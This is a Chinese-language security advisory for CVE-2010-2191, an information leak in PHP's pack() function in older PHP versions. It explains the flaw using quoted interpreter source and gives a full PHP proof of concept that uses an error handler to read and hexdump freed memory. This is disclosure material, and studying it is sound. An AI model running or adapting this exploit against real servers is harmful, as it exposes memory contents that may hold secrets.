PHP unpack（）函数中断处理信息泄露漏洞

发布日期：2010-05-31
更新日期：2010-06-28受影响系统：
PHP PHP <= 5.3.2
PHP PHP <= 5.2.13
描述：
--------------------------------------------------------------------------------
CVE ID: CVE-2010-2191PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。PHP的pack（）函数中存在信息泄露漏洞：PHP_FUNCTION（unpack）
{
    char *format, *input, *formatarg, *inputarg;
    int formatlen, formatarg_len, inputarg_len;
    int inputpos, inputlen, i;    if （zend_parse_parameters（ZEND_NUM_ARGS（） TSRMLS_CC, "ss", &formatarg, &formatarg_len,
        &inputarg, &inputarg_len） == FAILURE） {
        return;
    }    format = formatarg;
    formatlen = formatarg_len;
    input = inputarg;函数开始时读取了用户所提供的参数并在解析前确保格式串为确实的字符串。由于call time pass by reference功能，函数中间的中断可能允许更改当前所工作的参数，其中一种可能的攻击为H格式串标识符：case "h":
case "H": {
    int nibbleshift = （code == "h"）？ 0 : 4;
    int first = 1;
    char *v;    val = argv[currentarg++];
    convert_to_string_ex（val）;
    v = Z_STRVAL_PP（val）;
    outputpos--;
    if（arg > Z_STRLEN_PP（val）） {
        php_error_docref（NULL TSRMLS_CC, E_WARNING, "Type %c: not enough characters in string", code）;
        arg = Z_STRLEN_PP（val）;
    }这里将字符串指针拷贝到了v变量然后验证字符串的长度。之后错误处理器可以向字符串变量中添加更多的字符以导致重新分配字符串缓冲区。由于使用了之前所储存的v，会泄露已释放的内存。<*来源：Stefan Esser （s.esser@ematters.de）

链接：http://www.php-security.org/2010/05/31/mops-2010-052-php-pack-interruption-information-leak-vulnerability/index.html
*>测试方法：
--------------------------------------------------------------------------------警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！<？php
$first = true;function my_error（$a,$x）
{
    global $first;
    if （$first） {
        var_dump（$x）;
        $GLOBALS["var"].=str_repeat（"A",2000）;
    }
    $first = false;
    return 1;
}/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if （is_float（$i）） {
    $l = 39;
} else {
    $l = 67;
}
$GLOBALS["var"] = base64_decode（str_repeat（"-", 1000）.base64_encode（"AAAAAAAAAAAAAAAA"））;
/* Trigger the Code */
set_error_handler（"my_error"）;
$x = pack（"h20", &$GLOBALS["var"]）;
restore_error_handler（）;
hexdump（$x）;/* Helper function */
function hexdump（$x）
{
    $l = strlen（$x）;
    $p = 0;     echo "Hexdump ";
    echo "------- ";     while （$l > 16） {
        echo sprintf（"%08x: ",$p）;
        for （$i=0; $i<16; $i++） {
            echo sprintf（"%02X ", ord（$x[$p+$i]））;
        }
        echo " ";
        for （$i=0; $i<16; $i++） {
            $c = ord（$x[$p+$i]）;
            echo （$c < 32 || $c > 127）？ "." : chr（$c）;
        }
        $l-=16;
        $p+=16;
        echo " ";
    }
    if （$l > 0）
    echo sprintf（"%08x: ",$p）;
    for （$i=0; $i<$l; $i++） {
        echo sprintf（"%02X ", ord（$x[$p+$i]））;
    }
    for （$i=0; $i<16-$l; $i++） { echo "-- "; }     echo " ";
    for （$i=0; $i<$l; $i++） {
        $c = ord（$x[$p+$i]）;
        echo （$c < 32 || $c > 127）？ "." : chr（$c）;
    }
    echo " ";
}
？>建议：
--------------------------------------------------------------------------------
厂商补丁：PHP
---
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：http://www.php.netRed Hat Enterprise Virtualization Manager Postzero参数信息泄露漏洞PHP ArrayObject::uasort（）中断处理内存破坏漏洞相关资讯漏洞

快递官网漏洞泄露 1400 万用户信息（08/12/2014 08:37:42）
要389目录服务器访问绕过漏洞（10/01/2012 09:18:08）
ASUS Net4Switch "ipswcom.dll" （03/02/2012 09:32:42）

软件漏洞是一笔大买卖！（10/06/2012 08:28:32）
PHPCMS V9.1.13任意文件包含漏洞分（08/01/2012 07:23:17）
Open Handset Alliance Android （03/01/2012 06:59:34）

本文评论查看全部评论（0）

评论声明

尊重网上道德，遵守中华人民共和国的各项有关法律法规
承担一切因您的行为而直接或间接导致的民事或刑事法律责任
本站管理人员有权保留或删除其管辖留言中的任意内容
本站有权在网站内转载或引用您的评论
参与本评论即表明您已经阅读并接受上述条款